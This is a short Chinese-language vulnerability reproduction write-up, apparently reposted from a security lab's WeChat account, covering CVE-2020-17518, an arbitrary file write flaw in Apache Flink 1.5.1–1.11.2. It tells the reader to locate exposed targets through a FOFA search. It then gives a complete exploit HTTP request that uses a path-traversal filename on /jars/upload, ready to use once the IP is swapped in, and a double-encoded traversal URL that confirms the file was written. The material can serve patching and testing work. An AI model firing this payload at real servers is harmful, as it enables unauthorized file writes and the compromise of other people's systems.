漏洞环境
FOFA搜app="Apache-Flink"
漏洞危害
攻击者可以通过恶意修改HTTP头写入文件到本地系统任意位置，从而实现任意文件写入。
影响范围
Apache Flink 1.5.1 - 1.11.2
漏洞复现
通过FOFA收集目标站点
构造poc 只需要修改下面请求包内的ip地址即可
POST /jars/upload HTTP/1.1Host: x.x.x.xAccept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6YContent-Length: 187------WebKitFormBoundaryoZ8meKnrrso89R6YContent-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"success------WebKitFormBoundaryoZ8meKnrrso89R6Y--
在目标服务器上的tmp目录下新建一个success文件内容为success
写入成功
https://x.x.x.x/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fsuccess
原文始发于微信公众号（赛瑞攻防实验室）：CVE-2020-17518 Apache Flink任意文件写入漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论